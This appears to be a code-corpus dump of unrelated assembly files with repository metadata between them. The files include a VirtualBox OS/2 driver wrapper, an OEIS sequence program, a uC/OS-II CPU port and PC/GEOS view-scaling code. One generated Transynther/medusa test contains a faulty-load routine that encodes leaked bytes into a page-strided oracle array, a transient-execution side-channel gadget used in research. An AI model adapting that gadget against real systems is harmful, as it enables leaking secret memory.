; $Id: RTR0Os2DHVMGlobalToProcess.asm $ ;; @file ; IPRT - DevHelp_VMGlobalToProcess, Ring-0 Driver, OS/2. ; ; ; Copyright (c) 2007 knut st. osmundsen <bird-src-spam@anduin.net> ; ; Permission is hereby granted, free of charge, to any person ; obtaining a copy of this software and associated documentation ; files (the "Software"), to deal in the Software without ; restriction, including without limitation the rights to use, ; copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the ; Software is furnished to do so, subject to the following ; conditions: ; ; The above copyright notice and this permission notice shall be ; included in all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, ; EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES ; OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND ; NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT ; HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, ; WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING ; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR ; OTHER DEALINGS IN THE SOFTWARE. ; ;******************************************************************************* ;* Header Files * ;******************************************************************************* %define RT_INCL_16BIT_SEGMENTS %include "iprt/asmdefs.mac" %include "iprt/err.mac" ;******************************************************************************* ;* External Symbols * ;******************************************************************************* extern KernThunkStackTo32 extern KernThunkStackTo16 extern NAME(g_fpfnDevHlp) ;******************************************************************************* ;* Defined Constants And Macros * ;******************************************************************************* %define DevHlp_VMGlobalToProcess 05ah BEGINCODE ;; ; VMGlobalToProcess wrapper. ; ; @param fFlags [ebp + 08h] Flags ; @param pvR0 [ebp + 0ch] Ring-0 memory. ; @param cb [ebp + 10h] Size of memory object to map. ; @param ppR3 [ebp + 14h] Where to store the address of the ring-3 mapping. ; BEGINPROC_EXPORTED RTR0Os2DHVMGlobalToProcess ; switch stack first. call KernThunkStackTo16 ; normal prolog. push ebp mov ebp, esp push dword [NAME(g_fpfnDevHlp)] ; ebp - 4 push ebx ; save ebx ; setup the devhelp call mov eax, [ebp + 08h] ; fFlags mov ebx, [ebp + 0ch] ; pvR0 mov ecx, [ebp + 10h] ; cb mov dl, DevHlp_VMGlobalToProcess ; jump to the 16-bit code. ;jmp far dword NAME(RTR0Os2DHQueryDOSVar_16) wrt CODE16 db 066h db 0eah dw NAME(RTR0Os2DHVMGlobalToProcess_16) wrt CODE16 dw CODE16 BEGINCODE16 GLOBALNAME RTR0Os2DHVMGlobalToProcess_16 call far [ss:ebp - 4] ;jmp far dword NAME(RTR0Os2DHVMGlobalToProcess_32) wrt FLAT db 066h db 0eah dd NAME(RTR0Os2DHVMGlobalToProcess_32) ;wrt FLAT dw TEXT32 wrt FLAT BEGINCODE GLOBALNAME RTR0Os2DHVMGlobalToProcess_32 jc .done ; save the result. mov edx, [ebp + 14h] ; ppvR3 mov [edx], eax xor eax, eax .done: pop ebx leave ; switch stack back and return. push eax call KernThunkStackTo32 pop eax ret ENDPROC RTR0Os2DHVMGlobalToProcess
32.852174
85
0.560614
6108bf599f25896437260d620dba88ac9d4d2425
1,411
asm
Assembly
programs/oeis/214/A214297.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/214/A214297.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/214/A214297.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A214297: a(0)=-1, a(1)=0, a(2)=-3; thereafter a(n+2) - 2*a(n+1) + a(n) has period 4: repeat -4, 8, -4, 2. ; -1,0,-3,2,3,6,5,12,15,20,21,30,35,42,45,56,63,72,77,90,99,110,117,132,143,156,165,182,195,210,221,240,255,272,285,306,323,342,357,380,399,420,437,462,483,506,525,552,575,600,621,650,675,702,725,756,783,812,837,870,899,930,957,992,1023,1056,1085,1122,1155,1190,1221,1260,1295,1332,1365,1406,1443,1482,1517,1560,1599,1640,1677,1722,1763,1806,1845,1892,1935,1980,2021,2070,2115,2162,2205,2256,2303,2352,2397,2450,2499,2550,2597,2652,2703,2756,2805,2862,2915,2970,3021,3080,3135,3192,3245,3306,3363,3422,3477,3540,3599,3660,3717,3782,3843,3906,3965,4032,4095,4160,4221,4290,4355,4422,4485,4556,4623,4692,4757,4830,4899,4970,5037,5112,5183,5256,5325,5402,5475,5550,5621,5700,5775,5852,5925,6006,6083,6162,6237,6320,6399,6480,6557,6642,6723,6806,6885,6972,7055,7140,7221,7310,7395,7482,7565,7656,7743,7832,7917,8010,8099,8190,8277,8372,8463,8556,8645,8742,8835,8930,9021,9120,9215,9312,9405,9506,9603,9702,9797,9900,9999,10100,10197,10302,10403,10506,10605,10712,10815,10920,11021,11130,11235,11342,11445,11556,11663,11772,11877,11990,12099,12210,12317,12432,12543,12656,12765,12882,12995,13110,13221,13340,13455,13572,13685,13806,13923,14042,14157,14280,14399,14520,14637,14762,14883,15006,15125,15252,15375,15500 pow $0,2 mov $2,$0 lpb $2 sub $0,6 trn $2,7 sub $2,1 lpe add $0,1 mov $1,$0 sub $1,2
100.785714
1,210
0.750532
0ff11ad913784bb1789e9b7c6b02a94ec6722460
11,774
asm
Assembly
Ports/C28x/Generic/CCS/os_cpu_a.asm
Qetu107/uC-OS2
22a9ded73d7352110be0996708f1ed0e9c4621f0
[ "Apache-2.0" ]
169
2021-01-28T09:10:52.000Z
2022-03-26T03:33:19.000Z
Ports/C28x/Generic/CCS/os_cpu_a.asm
Qetu107/uC-OS2
22a9ded73d7352110be0996708f1ed0e9c4621f0
[ "Apache-2.0" ]
10
2021-02-03T22:48:49.000Z
2021-10-14T17:27:03.000Z
Ports/C28x/Generic/CCS/os_cpu_a.asm
Qetu107/uC-OS2
22a9ded73d7352110be0996708f1ed0e9c4621f0
[ "Apache-2.0" ]
63
2020-03-03T08:10:49.000Z
2020-12-06T12:40:44.000Z
;******************************************************************************************************** ; uC/OS-II ; The Real-Time Kernel ; ; Copyright 1992-2021 Silicon Laboratories Inc. www.silabs.com ; ; SPDX-License-Identifier: APACHE-2.0 ; ; This software is subject to an open source license and is distributed by ; Silicon Laboratories Inc. pursuant to the terms of the Apache License, ; Version 2.0 available at www.apache.org/licenses/LICENSE-2.0. ; ;******************************************************************************************************** ;******************************************************************************************************** ; ; TI C28x Port ; ; Filename : os_cpu_a.asm ; Version : V2.93.01 ;******************************************************************************************************** ; For : TI C28x ; Mode : C28 Object mode ; Toolchain : TI C/C++ Compiler ;******************************************************************************************************** ;******************************************************************************************************** ; INCLUDE FILES ;******************************************************************************************************** .include "os_cpu_i.asm" ;******************************************************************************************************** ; EXTERNAL GLOBAL VARIABLES ;******************************************************************************************************** ; External references .ref _OSRunning .ref _OSPrioCur .ref _OSPrioHighRdy .ref _OSTCBCur .ref _OSTCBHighRdy .ref _OSIntExit .ref _OSTaskSwHook .ref _OS_CPU_IntHandler ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** ; Functions declared in this file .def _OS_CPU_GetST0 .def _OS_CPU_GetST1 .def _OS_CPU_SR_Save .def _OS_CPU_SR_Restore .def _OSStartHighRdy .def _OS_CPU_RTOSINT_Handler .def _OS_CPU_INT_Handler ;******************************************************************************************************** ; EQUATES ;******************************************************************************************************** ;******************************************************************************************************** ; CODE GENERATION DIRECTIVES ;******************************************************************************************************** ; Set text section and reset local labels. .text .newblock ;******************************************************************************************************** ; GET ST0 and ST1 ; ; Description : Wrapper function to get ST0 and ST1 registers from a C function. ; ; Prototypes : INT16U OS_CPU_GetST0(void); ; INT16U OS_CPU_GetST1(void); ;******************************************************************************************************** .asmfunc _OS_CPU_GetST0: PUSH ST0 POP AL LRETR .endasmfunc .asmfunc _OS_CPU_GetST1: PUSH ST1 POP AL LRETR .endasmfunc ;******************************************************************************************************** ; CRITICAL SECTION METHOD 3 FUNCTIONS ; ; Description: Disable/Enable interrupts by preserving the state of interrupts. Generally speaking you ; would store the state of the interrupt disable flag in the local variable 'cpu_sr' and then ; disable interrupts. 'cpu_sr' is allocated in all of uC/OS-II's functions that need to ; disable interrupts. You would restore the interrupt disable state by copying back 'cpu_sr' ; into the CPU's status register. ; ; Prototypes : OS_CPU_SR OS_CPU_SR_Save(void); ; void OS_CPU_SR_Restore(OS_CPU_SR cpu_sr); ; ; ; Note(s) : 1) These functions are used in general like this: ; ; void Task (void *p_arg) ; { ; #if OS_CRITICAL_METHOD == 3 /* Allocate storage for CPU status register */ ; OS_CPU_SR cpu_sr; ; #endif ; ; : ; : ; OS_ENTER_CRITICAL(); /* cpu_sr = OS_CPU_SaveSR(); */ ; : ; : ; OS_EXIT_CRITICAL(); /* OS_CPU_RestoreSR(cpu_sr); */ ; : ; : ; } ;******************************************************************************************************** .asmfunc _OS_CPU_SR_Save: PUSH ST1 DINT POP @AL AND AL, #1 LRETR .endasmfunc .asmfunc _OS_CPU_SR_Restore: PUSH ST1 POP AR0 AND AR0, #0xFFFE OR AL, AR0 PUSH AL POP ST1 LRETR .endasmfunc ;******************************************************************************************************** ; START MULTITASKING ; void OSStartHighRdy(void) ; Note(s) : 1) This function triggers a PendSV exception (essentially, causes a context switch) to cause ; the first task to start. ; ; 2) OSStartHighRdy() MUST: ; a) Call OSTaskSwHook(). ; b) Set OSRunning to TRUE; ; c) Restore context for OSTCBCurPtr. ; d) IRET into highest ready task. ;******************************************************************************************************** .asmfunc _OSStartHighRdy: ; Call OSTaskSwHook() LCR #_OSTaskSwHook ; Set OSRunning to TRUE. MOVL XAR0, #_OSRunning MOV *AR0, #1 ; Restore context. MOVL XAR0, #_OSTCBCur ; Get the process's SP. MOVL XAR1, *XAR0 MOV AL , *AR1 MOV @SP , AL ; Restore registers. OS_CTX_RESTORE ; IRET into task. IRET .endasmfunc ; Catch start high failure. OSStartHang: SB OSStartHang, UNC ;******************************************************************************************************** ; GENERIC INTERRUPT HANDLER ; void OS_CPU_INT_Handler(void) ; ; Note(s) : 1) Assembly wrapper for ISRs. ; ; 2) Saves task context before servicing the interrupt and maintains the value of IER across ; interrupts. ;******************************************************************************************************** .asmfunc _OS_CPU_INT_Handler: OS_CTX_SAVE ASP LCR #_OS_CPU_IntHandler NASP OS_CTX_RESTORE IRET .endasmfunc ;******************************************************************************************************** ; HANDLE RTOSINT INTERRUPT ; void OS_CPU_RTOSINT_Handler(void) ; ; Note(s) : 1) The RTOSINT interrupt is used to perform a context switch. The C28x core saves the ; ST0, T, ACC, P, AR0, AR1, ST1, DP, IER, DBGSTAT (shadow) registers and the Return ; Address. ; The remaining registers AR1H, AR0H, XAR2..XAR7, XT and RPC are saved by the handler. ; ; 2) The context switching RTOSINT handler pseudo-code is: ; a) Save remaining registers on the process stack; ; b) Save the process SP in its TCB, OSTCBCurPtr->OSTCBStkPtr = SP; ; c) Call OSTaskSwHook(); ; d) Get current high priority, OSPrioCur = OSPrioHighRdy; ; e) Get current ready thread TCB, OSTCBCur = OSTCBHighRdy; ; f) Get new process SP from TCB, SP = OSTCBHighRdy->OSTCBStkPtr; ; g) Restore AR1H, AR0H, XAR2..XAR7, XT and RPC registers from the new process stack; ; h) Overwrite the previously saved (at context switch out) IER register with current IER. ; i) Perform exception return which will restore remaining context. ; ; 3) On entry into RTOSINT handler: ; a) The following have been saved on the process stack (by processor): ; ST0, T, ACC, P, AR0, AR1, ST1, DP, IER, DBGSTAT (shadow) registers and the Return ; Address. ; b) OSTCBCurPtr points to the OS_TCB of the task to suspend ; OSTCBHighRdyPtr points to the OS_TCB of the task to resume ; ; 4) This function MUST be placed in entry 16 (for RTOSINT) of the C28x interrupt table. ;******************************************************************************************************** .asmfunc _OS_CPU_RTOSINT_Handler: ; Save registers. OS_CTX_SAVE ; Save SP to current process. MOVL XAR0, #_OSTCBCur ; Get the process's SP. MOVL XAR1, *XAR0 MOV AL , @SP MOV *AR1, AL ASP ; Align the stack pointer. ; Call OSTaskSwHook. LCR #_OSTaskSwHook NASP ; Restore alignement of the stack pointer. ; OSPrioCur = OSPrioHighRdy MOVL XAR0, #_OSPrioHighRdy MOVL XAR1, #_OSPrioCur MOV ACC, *XAR0 MOV *XAR1, ACC ; OSTCBCur = OSTCBHighRdy MOVL XAR0, #_OSTCBHighRdy MOVL XAR1, #_OSTCBCur MOVL ACC, *XAR0 MOVL *XAR1, ACC ; Get SP from new process. MOVL XAR0, *XAR1 MOV AL , *AR0 MOV @SP , AL OS_CTX_RESTORE ; Return from interrupt to restore remaining registers. IRET .endasmfunc ;******************************************************************************************************** ; OS-II ASSEMBLY PORT FILE END ;******************************************************************************************************** .end
41.60424
119
0.35434
6073a55d062b2d908e2840757f5652c9ac3ca6df
7,697
asm
Assembly
Transynther/x86/_processed/US/_st_4k_/i7-7700_9_0xca.log_21829_983.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_st_4k_/i7-7700_9_0xca.log_21829_983.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_st_4k_/i7-7700_9_0xca.log_21829_983.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xb77c, %r11 clflush (%r11) nop dec %rax movl $0x61626364, (%r11) nop nop nop sub $48137, %rdx lea addresses_WT_ht+0x60a8, %rbx clflush (%rbx) nop nop nop nop nop and %rdx, %rdx mov (%rbx), %r15w nop cmp %r11, %r11 lea addresses_UC_ht+0x10e82, %rsi lea addresses_WT_ht+0x9278, %rdi nop and %rdx, %rdx mov $56, %rcx rep movsb cmp $58115, %r11 lea addresses_D_ht+0x11fb0, %rsi lea addresses_A_ht+0x7ed8, %rdi nop nop nop nop nop and %rbx, %rbx mov $12, %rcx rep movsw nop cmp %rdx, %rdx lea addresses_WT_ht+0xb878, %rbx nop nop sub $36369, %rsi vmovups (%rbx), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rax cmp %r11, %r11 lea addresses_A_ht+0xd4f8, %rsi lea addresses_UC_ht+0xed18, %rdi nop cmp %r15, %r15 mov $74, %rcx rep movsl nop nop nop nop nop and %r12, %r12 lea addresses_A_ht+0xa678, %rsi xor %rcx, %rcx movups (%rsi), %xmm2 vpextrq $0, %xmm2, %r15 nop nop and $36393, %rcx lea addresses_UC_ht+0x8df8, %rsi lea addresses_WC_ht+0xc1b8, %rdi clflush (%rdi) xor %rbx, %rbx mov $92, %rcx rep movsl and $18955, %r12 lea addresses_WC_ht+0xe878, %rdi nop nop nop nop xor $43399, %rax mov $0x6162636465666768, %r15 movq %r15, %xmm6 movups %xmm6, (%rdi) nop nop nop nop nop dec %rsi lea addresses_WT_ht+0xde78, %r11 nop nop nop sub %r12, %r12 movw $0x6162, (%r11) nop nop nop nop nop sub $29054, %rdx lea addresses_UC_ht+0xb6fe, %rsi lea addresses_normal_ht+0xea78, %rdi nop nop nop xor %r15, %r15 mov $91, %rcx rep movsw nop nop nop nop nop add $33334, %r12 lea addresses_normal_ht+0x5774, %rsi lea addresses_UC_ht+0xe5b8, %rdi clflush (%rdi) nop nop nop nop dec %r12 mov $8, %rcx rep movsl nop nop nop nop sub %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rbp push %rbx push %rcx push %rsi // Store lea addresses_A+0x443d, %rcx nop nop xor $1156, %rbp movl $0x51525354, (%rcx) nop nop nop nop nop xor %r10, %r10 // Store mov $0x771ce10000000a78, %rbx clflush (%rbx) nop nop nop nop sub %r11, %r11 movb $0x51, (%rbx) nop nop nop nop nop cmp %rcx, %rcx // Faulty Load lea addresses_US+0x11a78, %rcx nop nop sub $20230, %rsi mov (%rcx), %r11d lea oracles, %rbx and $0xff, %r11 shlq $12, %r11 mov (%rbx,%r11,1), %r11 pop %rsi pop %rcx pop %rbx pop %rbp pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_NC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': True, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}} {'51': 21829} 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 */
32.893162
2,999
0.657919
59654e370f4069023d1620d4d751b9d3e4bb6065
31,720
asm
Assembly
Library/SpecUI/CommonUI/CView/cviewPaneScale.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/SpecUI/CommonUI/CView/cviewPaneScale.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/SpecUI/CommonUI/CView/cviewPaneScale.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @----------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: OpenLook/View FILE: cviewPaneScale.asm ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 3/89 Initial version Chris 2/91 Started V2.0 DESCRIPTION: This file implements the Open Look pane object. $Id: cviewPaneScale.asm,v 1.1 97/04/07 10:51:38 newdeal Exp $ -------------------------------------------------------------------------------@ ViewCommon segment resource COMMENT @---------------------------------------------------------------------- ROUTINE: SendNewScaleToOD SYNOPSIS: Sends new scale to OD. CALLED BY: OLPaneScroll PASS: *ds:si -- pane dx:cx -- x scale factor bx:ax -- y scale factor RETURN: nothing DESTROYED: di, ax, cx, dx, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 3/25/91 Initial version ------------------------------------------------------------------------------@ SendNewScaleToOD proc far uses bp .enter sub sp, size ScaleChangedParams ;tell OD our origin changed mov bp, sp mov di, ds:[si] add di, ds:[di].Gen_offset mov ss:[bp].SCP_scaleFactor.PF_x.WWF_int, dx mov ss:[bp].SCP_scaleFactor.PF_x.WWF_frac, cx mov ss:[bp].SCP_scaleFactor.PF_y.WWF_int, bx mov ss:[bp].SCP_scaleFactor.PF_y.WWF_frac, ax call PaneGetWindow ;get window in di mov ss:[bp].SCP_window, di mov dx, size ScaleChangedParams mov di, mask MF_STACK or mask MF_FORCE_QUEUE mov ax, MSG_META_CONTENT_VIEW_SCALE_FACTOR_CHANGED call ToAppCommon add sp, size ScaleChangedParams .leave ret SendNewScaleToOD endp ViewCommon ends ViewBuild segment resource COMMENT @---------------------------------------------------------------------- MESSAGE: OLPaneSetAttrs -- MSG_GEN_VIEW_SET_ATTRS for OLPaneClass DESCRIPTION: ... PASS: *ds:si - instance data es - segment of OLPaneClass ax - The message cx - bits to set dx - bits to reset RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 3/ 2/92 Initial version ------------------------------------------------------------------------------@ OLPaneSetAttrs method dynamic OLPaneClass, MSG_GEN_VIEW_SET_ATTRS or cx, dx test cx, mask GVA_SCALE_TO_FIT or mask GVA_ADJUST_FOR_ASPECT_RATIO jz done add bx, ds:[bx].Gen_offset test ds:[bx].GVI_attrs, mask GVA_CONTROLLED jz done ; ; This is unnecessary, and seems to cause problems when attrs are set ; when geometry hasn't been. The UpdateScale can change the initial ; scale value to zero, which dorks up geometry from then on. cbh 11/16/93 ; ; call UpdateScale call FullyInvalidateView done: ret OLPaneSetAttrs endm COMMENT @---------------------------------------------------------------------- MESSAGE: OLPaneSetControlledAttrs -- MSG_GEN_VIEW_SET_CONTROLLED_ATTRS for OLPaneClass DESCRIPTION: Set the controlled attributes PASS: *ds:si - instance data es - segment of OLPaneClass ax - The message cx - GenViewControlAttrs dx - scale (%, or GenViewControlSpecialScaleFactor for scale to fit) RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 8/18/92 Initial version ------------------------------------------------------------------------------@ OLPaneSetControlledAttrs method dynamic OLPaneClass, MSG_GEN_VIEW_SET_CONTROLLED_ATTRS ; if APPLY_TO_ALL is set then always respond to this, otherwise only ; respond if we are the target test cx, mask GVCA_APPLY_TO_ALL jnz handleIt test ds:[di].OLPI_attrs, mask OLPA_APP_TARGET jz done handleIt: push dx push cx mov_tr ax, cx ;ax = GenViewControlAttrs clr cx ;new attribute bits cmp dx, GVCSSF_TO_FIT jnz notScaleToFit ornf cx, mask GVA_SCALE_TO_FIT notScaleToFit: test ax, mask GVCA_ADJUST_ASPECT_RATIO jz notAdjust ornf cx, mask GVA_ADJUST_FOR_ASPECT_RATIO notAdjust: mov dx, mask GVA_SCALE_TO_FIT or mask GVA_ADJUST_FOR_ASPECT_RATIO mov ax, MSG_GEN_VIEW_SET_ATTRS call ObjCallInstanceNoLock pop ax ;ax = GenViewControlAttrs mov cx, mask GVDA_DONT_DISPLAY_SCROLLBAR ;assume OFF test ax, mask GVCA_SHOW_HORIZONTAL jz 20$ xchg cl, ch 20$: mov dx, mask GVDA_DONT_DISPLAY_SCROLLBAR ;assume OFF test ax, mask GVCA_SHOW_VERTICAL jz 30$ xchg dl, dh 30$: mov bp, VUM_NOW mov ax, MSG_GEN_VIEW_SET_DIMENSION_ATTRS call ObjCallInstanceNoLock pop dx cmp dx, GVCSSF_TO_FIT jz afterScale sub sp, size ScaleViewParams mov bp, sp clr cx mov bx, 100 clr ax call GrUDivWWFixed movdw ss:[bp].SVP_scaleFactor.PF_x, dxcx movdw ss:[bp].SVP_scaleFactor.PF_y, dxcx mov ss:[bp].SVP_type, SVT_AROUND_UPPER_LEFT mov dx, size ScaleViewParams mov ax, MSG_GEN_VIEW_SET_SCALE_FACTOR call ObjCallInstanceNoLock add sp, size ScaleViewParams afterScale: done: ret OLPaneSetControlledAttrs endm ViewBuild ends ;--- ViewScale segment resource COMMENT @---------------------------------------------------------------------- METHOD: OLPaneScale -- METHOD_GEN_VIEW_SET_SCALE_FACTOR for OLPaneClass DESCRIPTION: Scale a pane window PASS: *ds:si - instance data es - segment of OLPaneClass ax - MSG_SCALE_PANE ss:[bp] - ScaleViewParams dx -- size ScaleViewParams RETURN: nothing ax, cx, dx, bp -- trashed DESTROYED: ax, bx, cx, dx, bp, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY (for scaling around a point): 